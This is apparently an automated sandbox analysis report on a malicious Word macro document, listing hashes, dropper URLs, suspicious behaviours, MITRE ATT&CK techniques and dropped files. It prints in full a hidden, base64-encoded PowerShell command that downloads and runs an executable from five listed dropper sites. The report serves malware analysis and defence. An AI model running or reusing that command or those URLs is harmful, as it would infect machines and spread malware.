3fd7e4fa720f2f7f604709808895d5bf488618ac295de97120ad1a3a8a296009

General

Target

3fd7e4fa720f2f7f604709808895d5bf488618ac295de97120ad1a3a8a296009.doc
Size

177KB
MD5

cef4ead9e2724f482eee71be641fd73f
SHA1

3bb8b7be1e1b65faf70fc53206e39aa0a1b7087b
SHA256

3fd7e4fa720f2f7f604709808895d5bf488618ac295de97120ad1a3a8a296009
SHA512

7012df4bd9bb093e22e3fbfd1a244cdf335f2c63f1a59fd13994847ba5b670f792aa02793d0ac3d5f59469900c37fa0fe8c26077eafccdc13d7c934554e25f2c
SSDEEP

3072:te2y/GdyDktGDWLS0HZWD5w8K7Nk9+D7IBUsQdY/R9LG3:te2k4TtGiL3HJk9+D7bsuOLL2

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://trendinformatica.eu/arcfabrics/i88ixy9/

exe.dropper

http://theomelet.com/wp-content/fQd/

exe.dropper

http://kgd898.com/wp-admin/h45mi/

exe.dropper

http://idealssschang.com/calendar/60PcB/

exe.dropper

http://happiness360degree.com/wp-admin/fj/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4132	1692	Powershell.exe	84

Blocklisted process makes network request 2 IoCs

flow	pid	Process
27	4132	Powershell.exe
29	4132	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4132	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
812	WINWORD.EXE
812	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4132	Powershell.exe
4132	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4132	Powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
812	WINWORD.EXE
812	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
812	WINWORD.EXE
812	WINWORD.EXE
812	WINWORD.EXE
812	WINWORD.EXE
812	WINWORD.EXE
812	WINWORD.EXE
812	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 812 wrote to memory of 1452	812	WINWORD.EXE	85
PID 812 wrote to memory of 1452	812	WINWORD.EXE	85

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3fd7e4fa720f2f7f604709808895d5bf488618ac295de97120ad1a3a8a296009.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:812
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1452

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABHAGsAYgBlAGkAbgBoAG4AZAB4AD0AJwBKAHMAawB0AHoAYgBxAGgAdgBpAHIAaQAnADsAJABHAHIAegBoAHAAaQBsAGMAeQAgAD0AIAAnADUAMAA2ACcAOwAkAFYAZQBnAGsAcAB2AGgAbABjAGUAbwBiAD0AJwBIAHcAaAB5AHcAcQBvAGYAcABtACcAOwAkAE4AbgBkAHMAcgBuAGcAcwBrAHAAdAB1AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABHAHIAegBoAHAAaQBsAGMAeQArACcALgBlAHgAZQAnADsAJABCAHAAeQBzAHMAcgB4AHQAbAA9ACcATQBzAHoAYwBoAGgAbwBsAHoAbwB2AG8AbAAnADsAJABFAG8AZgBpAGMAbwBnAHEAaQA9ACYAKAAnAG4AZQB3AC0AbwBiAGoAZQAnACsAJwBjACcAKwAnAHQAJwApACAAbgBFAFQALgB3AEUAQgBDAEwAaQBFAG4AVAA7ACQAUwBhAHcAawB2AHkAYwBrAHgAegBzAD0AJwBoAHQAdABwADoALwAvAHQAcgBlAG4AZABpAG4AZgBvAHIAbQBhAHQAaQBjAGEALgBlAHUALwBhAHIAYwBmAGEAYgByAGkAYwBzAC8AaQA4ADgAaQB4AHkAOQAvACoAaAB0AHQAcAA6AC8ALwB0AGgAZQBvAG0AZQBsAGUAdAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGYAUQBkAC8AKgBoAHQAdABwADoALwAvAGsAZwBkADgAOQA4AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBoADQANQBtAGkALwAqAGgAdAB0AHAAOgAvAC8AaQBkAGUAYQBsAHMAcwBzAGMAaABhAG4AZwAuAGMAbwBtAC8AYwBhAGwAZQBuAGQAYQByAC8ANgAwAFAAYwBCAC8AKgBoAHQAdABwADoALwAvAGgAYQBwAHAAaQBuAGUAcwBzADMANgAwAGQAZQBnAHIAZQBlAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBmAGoALwAnAC4AIgBzAHAATABgAEkAVAAiACgAJwAqACcAKQA7ACQAUQB2AGYAcABwAHUAagBoAHQAcgA9ACcATAB4AGUAagBhAHgAegB1AGcAdwAnADsAZgBvAHIAZQBhAGMAaAAoACQAQQBxAGkAdwBvAGUAbABiAGwAIABpAG4AIAAkAFMAYQB3AGsAdgB5AGMAawB4AHoAcwApAHsAdAByAHkAewAkAEUAbwBmAGkAYwBvAGcAcQBpAC4AIgBEAGAAbwBgAHcAbgBMAE8AQQBEAEYASQBgAEwAZQAiACgAJABBAHEAaQB3AG8AZQBsAGIAbAAsACAAJABOAG4AZABzAHIAbgBnAHMAawBwAHQAdQApADsAJABZAGEAYQBiAHQAZwBhAG0AaQA9ACcAQwBuAHYAdQBjAGMAawBnACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQATgBuAGQAcwByAG4AZwBzAGsAcAB0AHUAKQAuACIATABgAGUATgBHAFQASAAiACAALQBnAGUAIAAyADgANQAzADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAYQByAHQAIgAoACQATgBuAGQAcwByAG4AZwBzAGsAcAB0AHUAKQA7ACQAQwBvAHYAZgB1AHEAbQBwAGMAdQBoAHgAcgA9ACcASQBvAG4AcQBhAGIAYwB3AGIAdgBlAGQAJwA7AGIAcgBlAGEAawA7ACQAVwBwAGMAbgBiAHkAbQBmAG8AbABrAGEAPQAnAEYAdQBxAGUAZgBpAHUAdgB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFcAegByAHQAagBxAG0AcAB4AGcAZQBmAD0AJwBRAGgAYwBhAGIAZwBhAGgAdwBxAGgAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4132

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\B9EA2F97.wmf

Filesize
444B

MD5
61aa30f54e4ac287a69fe7b64131089c

SHA1
055817cbac1c7da5f46425b524a3fb73e803559f

SHA256
72417693eedce58e186e7597e54d6c4fd224b719f2042c644592c7101775cbda

SHA512
8f8e71f43553cce76783d68389a7e68768d00ea4618b4a0ea6d987ed4be74876d4193f74e74ff6efa02de354eb71decc3eaee6ed3d51190042d28d7054d33365

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDAC28.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mkoerlak.4vo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/812-16-0x00007FFF0ED70000-0x00007FFF0EF65000-memory.dmp

Filesize
2.0MB

Download
memory/812-15-0x00007FFF0ED70000-0x00007FFF0EF65000-memory.dmp

Filesize
2.0MB

Download
memory/812-9-0x00007FFF0ED70000-0x00007FFF0EF65000-memory.dmp

Filesize
2.0MB

Download
memory/812-11-0x00007FFF0ED70000-0x00007FFF0EF65000-memory.dmp

Filesize
2.0MB

Download
memory/812-12-0x00007FFF0ED70000-0x00007FFF0EF65000-memory.dmp

Filesize
2.0MB

Download
memory/812-13-0x00007FFF0ED70000-0x00007FFF0EF65000-memory.dmp

Filesize
2.0MB

Download
memory/812-14-0x00007FFECCC20000-0x00007FFECCC30000-memory.dmp

Filesize
64KB

Download
memory/812-10-0x00007FFF0ED70000-0x00007FFF0EF65000-memory.dmp

Filesize
2.0MB

Download
memory/812-18-0x00007FFECCC20000-0x00007FFECCC30000-memory.dmp

Filesize
64KB

Download
memory/812-17-0x00007FFF0ED70000-0x00007FFF0EF65000-memory.dmp

Filesize
2.0MB

Download
memory/812-0-0x00007FFECEDF0000-0x00007FFECEE00000-memory.dmp

Filesize
64KB

Download
memory/812-5-0x00007FFF0ED70000-0x00007FFF0EF65000-memory.dmp

Filesize
2.0MB

Download
memory/812-8-0x00007FFF0ED70000-0x00007FFF0EF65000-memory.dmp

Filesize
2.0MB

Download
memory/812-7-0x00007FFF0ED70000-0x00007FFF0EF65000-memory.dmp

Filesize
2.0MB

Download
memory/812-6-0x00007FFECEDF0000-0x00007FFECEE00000-memory.dmp

Filesize
64KB

Download
memory/812-2-0x00007FFECEDF0000-0x00007FFECEE00000-memory.dmp

Filesize
64KB

Download
memory/812-4-0x00007FFECEDF0000-0x00007FFECEE00000-memory.dmp

Filesize
64KB

Download
memory/812-1-0x00007FFF0EE0D000-0x00007FFF0EE0E000-memory.dmp

Filesize
4KB

Download
memory/812-3-0x00007FFECEDF0000-0x00007FFECEE00000-memory.dmp

Filesize
64KB

Download
memory/812-75-0x00007FFF0ED70000-0x00007FFF0EF65000-memory.dmp

Filesize
2.0MB

Download
memory/812-76-0x00007FFF0EE0D000-0x00007FFF0EE0E000-memory.dmp

Filesize
4KB

Download
memory/812-77-0x00007FFF0ED70000-0x00007FFF0EF65000-memory.dmp

Filesize
2.0MB

Download
memory/812-78-0x00007FFF0ED70000-0x00007FFF0EF65000-memory.dmp

Filesize
2.0MB

Download
memory/4132-62-0x000001CCE2300000-0x000001CCE2322000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads